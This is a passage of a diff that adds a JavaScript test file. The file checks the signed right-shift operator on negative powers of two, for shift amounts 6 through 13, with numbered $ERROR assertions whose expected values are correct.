+ $ERROR('#224: -2147483648 >> 6 === -33554432. Actual: ' + (-2147483648 >> 6));
+}
+
+
+if (-1 >> 7 !== -1) {
+ $ERROR('#225: -1 >> 7 === -1. Actual: ' + (-1 >> 7));
+}
+
+
+if (-2 >> 7 !== -1) {
+ $ERROR('#226: -2 >> 7 === -1. Actual: ' + (-2 >> 7));
+}
+
+
+if (-4 >> 7 !== -1) {
+ $ERROR('#227: -4 >> 7 === -1. Actual: ' + (-4 >> 7));
+}
+
+
+if (-8 >> 7 !== -1) {
+ $ERROR('#228: -8 >> 7 === -1. Actual: ' + (-8 >> 7));
+}
+
+
+if (-16 >> 7 !== -1) {
+ $ERROR('#229: -16 >> 7 === -1. Actual: ' + (-16 >> 7));
+}
+
+
+if (-32 >> 7 !== -1) {
+ $ERROR('#230: -32 >> 7 === -1. Actual: ' + (-32 >> 7));
+}
+
+
+if (-64 >> 7 !== -1) {
+ $ERROR('#231: -64 >> 7 === -1. Actual: ' + (-64 >> 7));
+}
+
+
+if (-128 >> 7 !== -1) {
+ $ERROR('#232: -128 >> 7 === -1. Actual: ' + (-128 >> 7));
+}
+
+
+if (-256 >> 7 !== -2) {
+ $ERROR('#233: -256 >> 7 === -2. Actual: ' + (-256 >> 7));
+}
+
+
+if (-512 >> 7 !== -4) {
+ $ERROR('#234: -512 >> 7 === -4. Actual: ' + (-512 >> 7));
+}
+
+
+if (-1024 >> 7 !== -8) {
+ $ERROR('#235: -1024 >> 7 === -8. Actual: ' + (-1024 >> 7));
+}
+
+
+if (-2048 >> 7 !== -16) {
+ $ERROR('#236: -2048 >> 7 === -16. Actual: ' + (-2048 >> 7));
+}
+
+
+if (-4096 >> 7 !== -32) {
+ $ERROR('#237: -4096 >> 7 === -32. Actual: ' + (-4096 >> 7));
+}
+
+
+if (-8192 >> 7 !== -64) {
+ $ERROR('#238: -8192 >> 7 === -64. Actual: ' + (-8192 >> 7));
+}
+
+
+if (-16384 >> 7 !== -128) {
+ $ERROR('#239: -16384 >> 7 === -128. Actual: ' + (-16384 >> 7));
+}
+
+
+if (-32768 >> 7 !== -256) {
+ $ERROR('#240: -32768 >> 7 === -256. Actual: ' + (-32768 >> 7));
+}
+
+
+if (-65536 >> 7 !== -512) {
+ $ERROR('#241: -65536 >> 7 === -512. Actual: ' + (-65536 >> 7));
+}
+
+
+if (-131072 >> 7 !== -1024) {
+ $ERROR('#242: -131072 >> 7 === -1024. Actual: ' + (-131072 >> 7));
+}
+
+
+if (-262144 >> 7 !== -2048) {
+ $ERROR('#243: -262144 >> 7 === -2048. Actual: ' + (-262144 >> 7));
+}
+
+
+if (-524288 >> 7 !== -4096) {
+ $ERROR('#244: -524288 >> 7 === -4096. Actual: ' + (-524288 >> 7));
+}
+
+
+if (-1048576 >> 7 !== -8192) {
+ $ERROR('#245: -1048576 >> 7 === -8192. Actual: ' + (-1048576 >> 7));
+}
+
+
+if (-2097152 >> 7 !== -16384) {
+ $ERROR('#246: -2097152 >> 7 === -16384. Actual: ' + (-2097152 >> 7));
+}
+
+
+if (-4194304 >> 7 !== -32768) {
+ $ERROR('#247: -4194304 >> 7 === -32768. Actual: ' + (-4194304 >> 7));
+}
+
+
+if (-8388608 >> 7 !== -65536) {
+ $ERROR('#248: -8388608 >> 7 === -65536. Actual: ' + (-8388608 >> 7));
+}
+
+
+if (-16777216 >> 7 !== -131072) {
+ $ERROR('#249: -16777216 >> 7 === -131072. Actual: ' + (-16777216 >> 7));
+}
+
+
+if (-33554432 >> 7 !== -262144) {
+ $ERROR('#250: -33554432 >> 7 === -262144. Actual: ' + (-33554432 >> 7));
+}
+
+
+if (-67108864 >> 7 !== -524288) {
+ $ERROR('#251: -67108864 >> 7 === -524288. Actual: ' + (-67108864 >> 7));
+}
+
+
+if (-134217728 >> 7 !== -1048576) {
+ $ERROR('#252: -134217728 >> 7 === -1048576. Actual: ' + (-134217728 >> 7));
+}
+
+
+if (-268435456 >> 7 !== -2097152) {
+ $ERROR('#253: -268435456 >> 7 === -2097152. Actual: ' + (-268435456 >> 7));
+}
+
+
+if (-536870912 >> 7 !== -4194304) {
+ $ERROR('#254: -536870912 >> 7 === -4194304. Actual: ' + (-536870912 >> 7));
+}
+
+
+if (-1073741824 >> 7 !== -8388608) {
+ $ERROR('#255: -1073741824 >> 7 === -8388608. Actual: ' + (-1073741824 >> 7));
+}
+
+
+if (-2147483648 >> 7 !== -16777216) {
+ $ERROR('#256: -2147483648 >> 7 === -16777216. Actual: ' + (-2147483648 >> 7));
+}
+
+
+if (-1 >> 8 !== -1) {
+ $ERROR('#257: -1 >> 8 === -1. Actual: ' + (-1 >> 8));
+}
+
+
+if (-2 >> 8 !== -1) {
+ $ERROR('#258: -2 >> 8 === -1. Actual: ' + (-2 >> 8));
+}
+
+
+if (-4 >> 8 !== -1) {
+ $ERROR('#259: -4 >> 8 === -1. Actual: ' + (-4 >> 8));
+}
+
+
+if (-8 >> 8 !== -1) {
+ $ERROR('#260: -8 >> 8 === -1. Actual: ' + (-8 >> 8));
+}
+
+
+if (-16 >> 8 !== -1) {
+ $ERROR('#261: -16 >> 8 === -1. Actual: ' + (-16 >> 8));
+}
+
+
+if (-32 >> 8 !== -1) {
+ $ERROR('#262: -32 >> 8 === -1. Actual: ' + (-32 >> 8));
+}
+
+
+if (-64 >> 8 !== -1) {
+ $ERROR('#263: -64 >> 8 === -1. Actual: ' + (-64 >> 8));
+}
+
+
+if (-128 >> 8 !== -1) {
+ $ERROR('#264: -128 >> 8 === -1. Actual: ' + (-128 >> 8));
+}
+
+
+if (-256 >> 8 !== -1) {
+ $ERROR('#265: -256 >> 8 === -1. Actual: ' + (-256 >> 8));
+}
+
+
+if (-512 >> 8 !== -2) {
+ $ERROR('#266: -512 >> 8 === -2. Actual: ' + (-512 >> 8));
+}
+
+
+if (-1024 >> 8 !== -4) {
+ $ERROR('#267: -1024 >> 8 === -4. Actual: ' + (-1024 >> 8));
+}
+
+
+if (-2048 >> 8 !== -8) {
+ $ERROR('#268: -2048 >> 8 === -8. Actual: ' + (-2048 >> 8));
+}
+
+
+if (-4096 >> 8 !== -16) {
+ $ERROR('#269: -4096 >> 8 === -16. Actual: ' + (-4096 >> 8));
+}
+
+
+if (-8192 >> 8 !== -32) {
+ $ERROR('#270: -8192 >> 8 === -32. Actual: ' + (-8192 >> 8));
+}
+
+
+if (-16384 >> 8 !== -64) {
+ $ERROR('#271: -16384 >> 8 === -64. Actual: ' + (-16384 >> 8));
+}
+
+
+if (-32768 >> 8 !== -128) {
+ $ERROR('#272: -32768 >> 8 === -128. Actual: ' + (-32768 >> 8));
+}
+
+
+if (-65536 >> 8 !== -256) {
+ $ERROR('#273: -65536 >> 8 === -256. Actual: ' + (-65536 >> 8));
+}
+
+
+if (-131072 >> 8 !== -512) {
+ $ERROR('#274: -131072 >> 8 === -512. Actual: ' + (-131072 >> 8));
+}
+
+
+if (-262144 >> 8 !== -1024) {
+ $ERROR('#275: -262144 >> 8 === -1024. Actual: ' + (-262144 >> 8));
+}
+
+
+if (-524288 >> 8 !== -2048) {
+ $ERROR('#276: -524288 >> 8 === -2048. Actual: ' + (-524288 >> 8));
+}
+
+
+if (-1048576 >> 8 !== -4096) {
+ $ERROR('#277: -1048576 >> 8 === -4096. Actual: ' + (-1048576 >> 8));
+}
+
+
+if (-2097152 >> 8 !== -8192) {
+ $ERROR('#278: -2097152 >> 8 === -8192. Actual: ' + (-2097152 >> 8));
+}
+
+
+if (-4194304 >> 8 !== -16384) {
+ $ERROR('#279: -4194304 >> 8 === -16384. Actual: ' + (-4194304 >> 8));
+}
+
+
+if (-8388608 >> 8 !== -32768) {
+ $ERROR('#280: -8388608 >> 8 === -32768. Actual: ' + (-8388608 >> 8));
+}
+
+
+if (-16777216 >> 8 !== -65536) {
+ $ERROR('#281: -16777216 >> 8 === -65536. Actual: ' + (-16777216 >> 8));
+}
+
+
+if (-33554432 >> 8 !== -131072) {
+ $ERROR('#282: -33554432 >> 8 === -131072. Actual: ' + (-33554432 >> 8));
+}
+
+
+if (-67108864 >> 8 !== -262144) {
+ $ERROR('#283: -67108864 >> 8 === -262144. Actual: ' + (-67108864 >> 8));
+}
+
+
+if (-134217728 >> 8 !== -524288) {
+ $ERROR('#284: -134217728 >> 8 === -524288. Actual: ' + (-134217728 >> 8));
+}
+
+
+if (-268435456 >> 8 !== -1048576) {
+ $ERROR('#285: -268435456 >> 8 === -1048576. Actual: ' + (-268435456 >> 8));
+}
+
+
+if (-536870912 >> 8 !== -2097152) {
+ $ERROR('#286: -536870912 >> 8 === -2097152. Actual: ' + (-536870912 >> 8));
+}
+
+
+if (-1073741824 >> 8 !== -4194304) {
+ $ERROR('#287: -1073741824 >> 8 === -4194304. Actual: ' + (-1073741824 >> 8));
+}
+
+
+if (-2147483648 >> 8 !== -8388608) {
+ $ERROR('#288: -2147483648 >> 8 === -8388608. Actual: ' + (-2147483648 >> 8));
+}
+
+
+if (-1 >> 9 !== -1) {
+ $ERROR('#289: -1 >> 9 === -1. Actual: ' + (-1 >> 9));
+}
+
+
+if (-2 >> 9 !== -1) {
+ $ERROR('#290: -2 >> 9 === -1. Actual: ' + (-2 >> 9));
+}
+
+
+if (-4 >> 9 !== -1) {
+ $ERROR('#291: -4 >> 9 === -1. Actual: ' + (-4 >> 9));
+}
+
+
+if (-8 >> 9 !== -1) {
+ $ERROR('#292: -8 >> 9 === -1. Actual: ' + (-8 >> 9));
+}
+
+
+if (-16 >> 9 !== -1) {
+ $ERROR('#293: -16 >> 9 === -1. Actual: ' + (-16 >> 9));
+}
+
+
+if (-32 >> 9 !== -1) {
+ $ERROR('#294: -32 >> 9 === -1. Actual: ' + (-32 >> 9));
+}
+
+
+if (-64 >> 9 !== -1) {
+ $ERROR('#295: -64 >> 9 === -1. Actual: ' + (-64 >> 9));
+}
+
+
+if (-128 >> 9 !== -1) {
+ $ERROR('#296: -128 >> 9 === -1. Actual: ' + (-128 >> 9));
+}
+
+
+if (-256 >> 9 !== -1) {
+ $ERROR('#297: -256 >> 9 === -1. Actual: ' + (-256 >> 9));
+}
+
+
+if (-512 >> 9 !== -1) {
+ $ERROR('#298: -512 >> 9 === -1. Actual: ' + (-512 >> 9));
+}
+
+
+if (-1024 >> 9 !== -2) {
+ $ERROR('#299: -1024 >> 9 === -2. Actual: ' + (-1024 >> 9));
+}
+
+
+if (-2048 >> 9 !== -4) {
+ $ERROR('#300: -2048 >> 9 === -4. Actual: ' + (-2048 >> 9));
+}
+
+
+if (-4096 >> 9 !== -8) {
+ $ERROR('#301: -4096 >> 9 === -8. Actual: ' + (-4096 >> 9));
+}
+
+
+if (-8192 >> 9 !== -16) {
+ $ERROR('#302: -8192 >> 9 === -16. Actual: ' + (-8192 >> 9));
+}
+
+
+if (-16384 >> 9 !== -32) {
+ $ERROR('#303: -16384 >> 9 === -32. Actual: ' + (-16384 >> 9));
+}
+
+
+if (-32768 >> 9 !== -64) {
+ $ERROR('#304: -32768 >> 9 === -64. Actual: ' + (-32768 >> 9));
+}
+
+
+if (-65536 >> 9 !== -128) {
+ $ERROR('#305: -65536 >> 9 === -128. Actual: ' + (-65536 >> 9));
+}
+
+
+if (-131072 >> 9 !== -256) {
+ $ERROR('#306: -131072 >> 9 === -256. Actual: ' + (-131072 >> 9));
+}
+
+
+if (-262144 >> 9 !== -512) {
+ $ERROR('#307: -262144 >> 9 === -512. Actual: ' + (-262144 >> 9));
+}
+
+
+if (-524288 >> 9 !== -1024) {
+ $ERROR('#308: -524288 >> 9 === -1024. Actual: ' + (-524288 >> 9));
+}
+
+
+if (-1048576 >> 9 !== -2048) {
+ $ERROR('#309: -1048576 >> 9 === -2048. Actual: ' + (-1048576 >> 9));
+}
+
+
+if (-2097152 >> 9 !== -4096) {
+ $ERROR('#310: -2097152 >> 9 === -4096. Actual: ' + (-2097152 >> 9));
+}
+
+
+if (-4194304 >> 9 !== -8192) {
+ $ERROR('#311: -4194304 >> 9 === -8192. Actual: ' + (-4194304 >> 9));
+}
+
+
+if (-8388608 >> 9 !== -16384) {
+ $ERROR('#312: -8388608 >> 9 === -16384. Actual: ' + (-8388608 >> 9));
+}
+
+
+if (-16777216 >> 9 !== -32768) {
+ $ERROR('#313: -16777216 >> 9 === -32768. Actual: ' + (-16777216 >> 9));
+}
+
+
+if (-33554432 >> 9 !== -65536) {
+ $ERROR('#314: -33554432 >> 9 === -65536. Actual: ' + (-33554432 >> 9));
+}
+
+
+if (-67108864 >> 9 !== -131072) {
+ $ERROR('#315: -67108864 >> 9 === -131072. Actual: ' + (-67108864 >> 9));
+}
+
+
+if (-134217728 >> 9 !== -262144) {
+ $ERROR('#316: -134217728 >> 9 === -262144. Actual: ' + (-134217728 >> 9));
+}
+
+
+if (-268435456 >> 9 !== -524288) {
+ $ERROR('#317: -268435456 >> 9 === -524288. Actual: ' + (-268435456 >> 9));
+}
+
+
+if (-536870912 >> 9 !== -1048576) {
+ $ERROR('#318: -536870912 >> 9 === -1048576. Actual: ' + (-536870912 >> 9));
+}
+
+
+if (-1073741824 >> 9 !== -2097152) {
+ $ERROR('#319: -1073741824 >> 9 === -2097152. Actual: ' + (-1073741824 >> 9));
+}
+
+
+if (-2147483648 >> 9 !== -4194304) {
+ $ERROR('#320: -2147483648 >> 9 === -4194304. Actual: ' + (-2147483648 >> 9));
+}
+
+
+if (-1 >> 10 !== -1) {
+ $ERROR('#321: -1 >> 10 === -1. Actual: ' + (-1 >> 10));
+}
+
+
+if (-2 >> 10 !== -1) {
+ $ERROR('#322: -2 >> 10 === -1. Actual: ' + (-2 >> 10));
+}
+
+
+if (-4 >> 10 !== -1) {
+ $ERROR('#323: -4 >> 10 === -1. Actual: ' + (-4 >> 10));
+}
+
+
+if (-8 >> 10 !== -1) {
+ $ERROR('#324: -8 >> 10 === -1. Actual: ' + (-8 >> 10));
+}
+
+
+if (-16 >> 10 !== -1) {
+ $ERROR('#325: -16 >> 10 === -1. Actual: ' + (-16 >> 10));
+}
+
+
+if (-32 >> 10 !== -1) {
+ $ERROR('#326: -32 >> 10 === -1. Actual: ' + (-32 >> 10));
+}
+
+
+if (-64 >> 10 !== -1) {
+ $ERROR('#327: -64 >> 10 === -1. Actual: ' + (-64 >> 10));
+}
+
+
+if (-128 >> 10 !== -1) {
+ $ERROR('#328: -128 >> 10 === -1. Actual: ' + (-128 >> 10));
+}
+
+
+if (-256 >> 10 !== -1) {
+ $ERROR('#329: -256 >> 10 === -1. Actual: ' + (-256 >> 10));
+}
+
+
+if (-512 >> 10 !== -1) {
+ $ERROR('#330: -512 >> 10 === -1. Actual: ' + (-512 >> 10));
+}
+
+
+if (-1024 >> 10 !== -1) {
+ $ERROR('#331: -1024 >> 10 === -1. Actual: ' + (-1024 >> 10));
+}
+
+
+if (-2048 >> 10 !== -2) {
+ $ERROR('#332: -2048 >> 10 === -2. Actual: ' + (-2048 >> 10));
+}
+
+
+if (-4096 >> 10 !== -4) {
+ $ERROR('#333: -4096 >> 10 === -4. Actual: ' + (-4096 >> 10));
+}
+
+
+if (-8192 >> 10 !== -8) {
+ $ERROR('#334: -8192 >> 10 === -8. Actual: ' + (-8192 >> 10));
+}
+
+
+if (-16384 >> 10 !== -16) {
+ $ERROR('#335: -16384 >> 10 === -16. Actual: ' + (-16384 >> 10));
+}
+
+
+if (-32768 >> 10 !== -32) {
+ $ERROR('#336: -32768 >> 10 === -32. Actual: ' + (-32768 >> 10));
+}
+
+
+if (-65536 >> 10 !== -64) {
+ $ERROR('#337: -65536 >> 10 === -64. Actual: ' + (-65536 >> 10));
+}
+
+
+if (-131072 >> 10 !== -128) {
+ $ERROR('#338: -131072 >> 10 === -128. Actual: ' + (-131072 >> 10));
+}
+
+
+if (-262144 >> 10 !== -256) {
+ $ERROR('#339: -262144 >> 10 === -256. Actual: ' + (-262144 >> 10));
+}
+
+
+if (-524288 >> 10 !== -512) {
+ $ERROR('#340: -524288 >> 10 === -512. Actual: ' + (-524288 >> 10));
+}
+
+
+if (-1048576 >> 10 !== -1024) {
+ $ERROR('#341: -1048576 >> 10 === -1024. Actual: ' + (-1048576 >> 10));
+}
+
+
+if (-2097152 >> 10 !== -2048) {
+ $ERROR('#342: -2097152 >> 10 === -2048. Actual: ' + (-2097152 >> 10));
+}
+
+
+if (-4194304 >> 10 !== -4096) {
+ $ERROR('#343: -4194304 >> 10 === -4096. Actual: ' + (-4194304 >> 10));
+}
+
+
+if (-8388608 >> 10 !== -8192) {
+ $ERROR('#344: -8388608 >> 10 === -8192. Actual: ' + (-8388608 >> 10));
+}
+
+
+if (-16777216 >> 10 !== -16384) {
+ $ERROR('#345: -16777216 >> 10 === -16384. Actual: ' + (-16777216 >> 10));
+}
+
+
+if (-33554432 >> 10 !== -32768) {
+ $ERROR('#346: -33554432 >> 10 === -32768. Actual: ' + (-33554432 >> 10));
+}
+
+
+if (-67108864 >> 10 !== -65536) {
+ $ERROR('#347: -67108864 >> 10 === -65536. Actual: ' + (-67108864 >> 10));
+}
+
+
+if (-134217728 >> 10 !== -131072) {
+ $ERROR('#348: -134217728 >> 10 === -131072. Actual: ' + (-134217728 >> 10));
+}
+
+
+if (-268435456 >> 10 !== -262144) {
+ $ERROR('#349: -268435456 >> 10 === -262144. Actual: ' + (-268435456 >> 10));
+}
+
+
+if (-536870912 >> 10 !== -524288) {
+ $ERROR('#350: -536870912 >> 10 === -524288. Actual: ' + (-536870912 >> 10));
+}
+
+
+if (-1073741824 >> 10 !== -1048576) {
+ $ERROR('#351: -1073741824 >> 10 === -1048576. Actual: ' + (-1073741824 >> 10));
+}
+
+
+if (-2147483648 >> 10 !== -2097152) {
+ $ERROR('#352: -2147483648 >> 10 === -2097152. Actual: ' + (-2147483648 >> 10));
+}
+
+
+if (-1 >> 11 !== -1) {
+ $ERROR('#353: -1 >> 11 === -1. Actual: ' + (-1 >> 11));
+}
+
+
+if (-2 >> 11 !== -1) {
+ $ERROR('#354: -2 >> 11 === -1. Actual: ' + (-2 >> 11));
+}
+
+
+if (-4 >> 11 !== -1) {
+ $ERROR('#355: -4 >> 11 === -1. Actual: ' + (-4 >> 11));
+}
+
+
+if (-8 >> 11 !== -1) {
+ $ERROR('#356: -8 >> 11 === -1. Actual: ' + (-8 >> 11));
+}
+
+
+if (-16 >> 11 !== -1) {
+ $ERROR('#357: -16 >> 11 === -1. Actual: ' + (-16 >> 11));
+}
+
+
+if (-32 >> 11 !== -1) {
+ $ERROR('#358: -32 >> 11 === -1. Actual: ' + (-32 >> 11));
+}
+
+
+if (-64 >> 11 !== -1) {
+ $ERROR('#359: -64 >> 11 === -1. Actual: ' + (-64 >> 11));
+}
+
+
+if (-128 >> 11 !== -1) {
+ $ERROR('#360: -128 >> 11 === -1. Actual: ' + (-128 >> 11));
+}
+
+
+if (-256 >> 11 !== -1) {
+ $ERROR('#361: -256 >> 11 === -1. Actual: ' + (-256 >> 11));
+}
+
+
+if (-512 >> 11 !== -1) {
+ $ERROR('#362: -512 >> 11 === -1. Actual: ' + (-512 >> 11));
+}
+
+
+if (-1024 >> 11 !== -1) {
+ $ERROR('#363: -1024 >> 11 === -1. Actual: ' + (-1024 >> 11));
+}
+
+
+if (-2048 >> 11 !== -1) {
+ $ERROR('#364: -2048 >> 11 === -1. Actual: ' + (-2048 >> 11));
+}
+
+
+if (-4096 >> 11 !== -2) {
+ $ERROR('#365: -4096 >> 11 === -2. Actual: ' + (-4096 >> 11));
+}
+
+
+if (-8192 >> 11 !== -4) {
+ $ERROR('#366: -8192 >> 11 === -4. Actual: ' + (-8192 >> 11));
+}
+
+
+if (-16384 >> 11 !== -8) {
+ $ERROR('#367: -16384 >> 11 === -8. Actual: ' + (-16384 >> 11));
+}
+
+
+if (-32768 >> 11 !== -16) {
+ $ERROR('#368: -32768 >> 11 === -16. Actual: ' + (-32768 >> 11));
+}
+
+
+if (-65536 >> 11 !== -32) {
+ $ERROR('#369: -65536 >> 11 === -32. Actual: ' + (-65536 >> 11));
+}
+
+
+if (-131072 >> 11 !== -64) {
+ $ERROR('#370: -131072 >> 11 === -64. Actual: ' + (-131072 >> 11));
+}
+
+
+if (-262144 >> 11 !== -128) {
+ $ERROR('#371: -262144 >> 11 === -128. Actual: ' + (-262144 >> 11));
+}
+
+
+if (-524288 >> 11 !== -256) {
+ $ERROR('#372: -524288 >> 11 === -256. Actual: ' + (-524288 >> 11));
+}
+
+
+if (-1048576 >> 11 !== -512) {
+ $ERROR('#373: -1048576 >> 11 === -512. Actual: ' + (-1048576 >> 11));
+}
+
+
+if (-2097152 >> 11 !== -1024) {
+ $ERROR('#374: -2097152 >> 11 === -1024. Actual: ' + (-2097152 >> 11));
+}
+
+
+if (-4194304 >> 11 !== -2048) {
+ $ERROR('#375: -4194304 >> 11 === -2048. Actual: ' + (-4194304 >> 11));
+}
+
+
+if (-8388608 >> 11 !== -4096) {
+ $ERROR('#376: -8388608 >> 11 === -4096. Actual: ' + (-8388608 >> 11));
+}
+
+
+if (-16777216 >> 11 !== -8192) {
+ $ERROR('#377: -16777216 >> 11 === -8192. Actual: ' + (-16777216 >> 11));
+}
+
+
+if (-33554432 >> 11 !== -16384) {
+ $ERROR('#378: -33554432 >> 11 === -16384. Actual: ' + (-33554432 >> 11));
+}
+
+
+if (-67108864 >> 11 !== -32768) {
+ $ERROR('#379: -67108864 >> 11 === -32768. Actual: ' + (-67108864 >> 11));
+}
+
+
+if (-134217728 >> 11 !== -65536) {
+ $ERROR('#380: -134217728 >> 11 === -65536. Actual: ' + (-134217728 >> 11));
+}
+
+
+if (-268435456 >> 11 !== -131072) {
+ $ERROR('#381: -268435456 >> 11 === -131072. Actual: ' + (-268435456 >> 11));
+}
+
+
+if (-536870912 >> 11 !== -262144) {
+ $ERROR('#382: -536870912 >> 11 === -262144. Actual: ' + (-536870912 >> 11));
+}
+
+
+if (-1073741824 >> 11 !== -524288) {
+ $ERROR('#383: -1073741824 >> 11 === -524288. Actual: ' + (-1073741824 >> 11));
+}
+
+
+if (-2147483648 >> 11 !== -1048576) {
+ $ERROR('#384: -2147483648 >> 11 === -1048576. Actual: ' + (-2147483648 >> 11));
+}
+
+
+if (-1 >> 12 !== -1) {
+ $ERROR('#385: -1 >> 12 === -1. Actual: ' + (-1 >> 12));
+}
+
+
+if (-2 >> 12 !== -1) {
+ $ERROR('#386: -2 >> 12 === -1. Actual: ' + (-2 >> 12));
+}
+
+
+if (-4 >> 12 !== -1) {
+ $ERROR('#387: -4 >> 12 === -1. Actual: ' + (-4 >> 12));
+}
+
+
+if (-8 >> 12 !== -1) {
+ $ERROR('#388: -8 >> 12 === -1. Actual: ' + (-8 >> 12));
+}
+
+
+if (-16 >> 12 !== -1) {
+ $ERROR('#389: -16 >> 12 === -1. Actual: ' + (-16 >> 12));
+}
+
+
+if (-32 >> 12 !== -1) {
+ $ERROR('#390: -32 >> 12 === -1. Actual: ' + (-32 >> 12));
+}
+
+
+if (-64 >> 12 !== -1) {
+ $ERROR('#391: -64 >> 12 === -1. Actual: ' + (-64 >> 12));
+}
+
+
+if (-128 >> 12 !== -1) {
+ $ERROR('#392: -128 >> 12 === -1. Actual: ' + (-128 >> 12));
+}
+
+
+if (-256 >> 12 !== -1) {
+ $ERROR('#393: -256 >> 12 === -1. Actual: ' + (-256 >> 12));
+}
+
+
+if (-512 >> 12 !== -1) {
+ $ERROR('#394: -512 >> 12 === -1. Actual: ' + (-512 >> 12));
+}
+
+
+if (-1024 >> 12 !== -1) {
+ $ERROR('#395: -1024 >> 12 === -1. Actual: ' + (-1024 >> 12));
+}
+
+
+if (-2048 >> 12 !== -1) {
+ $ERROR('#396: -2048 >> 12 === -1. Actual: ' + (-2048 >> 12));
+}
+
+
+if (-4096 >> 12 !== -1) {
+ $ERROR('#397: -4096 >> 12 === -1. Actual: ' + (-4096 >> 12));
+}
+
+
+if (-8192 >> 12 !== -2) {
+ $ERROR('#398: -8192 >> 12 === -2. Actual: ' + (-8192 >> 12));
+}
+
+
+if (-16384 >> 12 !== -4) {
+ $ERROR('#399: -16384 >> 12 === -4. Actual: ' + (-16384 >> 12));
+}
+
+
+if (-32768 >> 12 !== -8) {
+ $ERROR('#400: -32768 >> 12 === -8. Actual: ' + (-32768 >> 12));
+}
+
+
+if (-65536 >> 12 !== -16) {
+ $ERROR('#401: -65536 >> 12 === -16. Actual: ' + (-65536 >> 12));
+}
+
+
+if (-131072 >> 12 !== -32) {
+ $ERROR('#402: -131072 >> 12 === -32. Actual: ' + (-131072 >> 12));
+}
+
+
+if (-262144 >> 12 !== -64) {
+ $ERROR('#403: -262144 >> 12 === -64. Actual: ' + (-262144 >> 12));
+}
+
+
+if (-524288 >> 12 !== -128) {
+ $ERROR('#404: -524288 >> 12 === -128. Actual: ' + (-524288 >> 12));
+}
+
+
+if (-1048576 >> 12 !== -256) {
+ $ERROR('#405: -1048576 >> 12 === -256. Actual: ' + (-1048576 >> 12));
+}
+
+
+if (-2097152 >> 12 !== -512) {
+ $ERROR('#406: -2097152 >> 12 === -512. Actual: ' + (-2097152 >> 12));
+}
+
+
+if (-4194304 >> 12 !== -1024) {
+ $ERROR('#407: -4194304 >> 12 === -1024. Actual: ' + (-4194304 >> 12));
+}
+
+
+if (-8388608 >> 12 !== -2048) {
+ $ERROR('#408: -8388608 >> 12 === -2048. Actual: ' + (-8388608 >> 12));
+}
+
+
+if (-16777216 >> 12 !== -4096) {
+ $ERROR('#409: -16777216 >> 12 === -4096. Actual: ' + (-16777216 >> 12));
+}
+
+
+if (-33554432 >> 12 !== -8192) {
+ $ERROR('#410: -33554432 >> 12 === -8192. Actual: ' + (-33554432 >> 12));
+}
+
+
+if (-67108864 >> 12 !== -16384) {
+ $ERROR('#411: -67108864 >> 12 === -16384. Actual: ' + (-67108864 >> 12));
+}
+
+
+if (-134217728 >> 12 !== -32768) {
+ $ERROR('#412: -134217728 >> 12 === -32768. Actual: ' + (-134217728 >> 12));
+}
+
+
+if (-268435456 >> 12 !== -65536) {
+ $ERROR('#413: -268435456 >> 12 === -65536. Actual: ' + (-268435456 >> 12));
+}
+
+
+if (-536870912 >> 12 !== -131072) {
+ $ERROR('#414: -536870912 >> 12 === -131072. Actual: ' + (-536870912 >> 12));
+}
+
+
+if (-1073741824 >> 12 !== -262144) {
+ $ERROR('#415: -1073741824 >> 12 === -262144. Actual: ' + (-1073741824 >> 12));
+}
+
+
+if (-2147483648 >> 12 !== -524288) {
+ $ERROR('#416: -2147483648 >> 12 === -524288. Actual: ' + (-2147483648 >> 12));
+}
+
+
+if (-1 >> 13 !== -1) {
+ $ERROR('#417: -1 >> 13 === -1. Actual: ' + (-1 >> 13));
+}
+
+
+if (-2 >> 13 !== -1) {
+ $ERROR('#418: -2 >> 13 === -1. Actual: ' + (-2 >> 13));
+}
+
+
+if (-4 >> 13 !== -1) {
+ $ERROR('#419: -4 >> 13 === -1. Actual: ' + (-4 >> 13));
+}
+
+
+if (-8 >> 13 !== -1) {
+ $ERROR('#420: -8 >> 13 === -1. Actual: ' + (-8 >> 13));
+}
+
+
+if (-16 >> 13 !== -1) {
+ $ERROR('#421: -16 >> 13 === -1. Actual: ' + (-16 >> 13));
+}
+
+
+if (-32 >> 13 !== -1) {
+ $ERROR('#422: -32 >> 13 === -1. Actual: ' + (-32 >> 13));
+}
+
+
+if (-64 >> 13 !== -1) {
+ $ERROR('#423: -64 >> 13 === -1. Actual: ' + (-64 >> 13));
+}
+
+
+if (-128 >> 13 !== -1) {
+ $ERROR('#424: -128 >> 13 === -1. Actual: ' + (-128 >> 13));
+}
+
+
+if (-256 >> 13 !== -1) {
+ $ERROR('#425: -256 >> 13 === -1. Actual: ' + (-256 >> 13));
+}
+
+
+if (-512 >> 13 !== -1) {
+ $ERROR('#426: -512 >> 13 === -1. Actual: ' + (-512 >> 13));
+}
+
+
+if (-1024 >> 13 !== -1) {
+ $ERROR('#427: -1024 >> 13 === -1. Actual: ' + (-1024 >> 13));
+}
+
+
+if (-2048 >> 13 !== -1) {
+ $ERROR('#428: -2048 >> 13 === -1. Actual: ' + (-2048 >> 13));
+}
+
+
+if (-4096 >> 13 !== -1) {
+ $ERROR('#429: -4096 >> 13 === -1. Actual: ' + (-4096 >> 13));
+}
+
+
+if (-8192 >> 13 !== -1) {
+ $ERROR('#430: -8192 >> 13 === -1. Actual: ' + (-8192 >> 13));
+}
+
+
+if (-16384 >> 13 !== -2) {
+ $ERROR('#431: -16384 >> 13 === -2. Actual: ' + (-16384 >> 13));
+}
+
+
+if (-32768 >> 13 !== -4) {
+ $ERROR('#432: -32768 >> 13 === -4. Actual: ' + (-32768 >> 13));
+}
+
+
+if (-65536 >> 13 !== -8) {
+ $ERROR('#433: -65536 >> 13 === -8. Actual: ' + (-65536 >> 13));
+}
+
+
+if (-131072 >> 13 !== -16) {
+ $ERROR('#434: -131072 >> 13 === -16. Actual: ' + (-131072 >> 13));
+}
+
+
+if (-262144 >> 13 !== -32) {
+ $ERROR('#435: -262144 >> 13 === -32. Actual: ' + (-262144 >> 13));
+}
+
+
+if (-524288 >> 13 !== -64) {
+ $ERROR('#436: -524288 >> 13 === -64. Actual: ' + (-524288 >> 13));
+}
+
+
+if (-1048576 >> 13 !== -128) {
+ $ERROR('#437: -1048576 >> 13 === -128. Actual: ' + (-1048576 >> 13));
+}
+
+
+if (-2097152 >> 13 !== -256) {
+ $ERROR('#438: -2097152 >> 13 === -256. Actual: ' + (-2097152 >> 13));
+}
+
+
+if (-4194304 >> 13 !== -512) {
+ $ERROR('#439: -4194304 >> 13 === -512. Actual: ' + (-4194304 >> 13));
+}
+
+
+if (-8388608 >> 13 !== -1024) {
+ $ERROR('#440: -8388608 >> 13 === -1024. Actual: ' + (-8388608 >> 13));
+}
+
+
+if (-16777216 >> 13 !== -2048) {
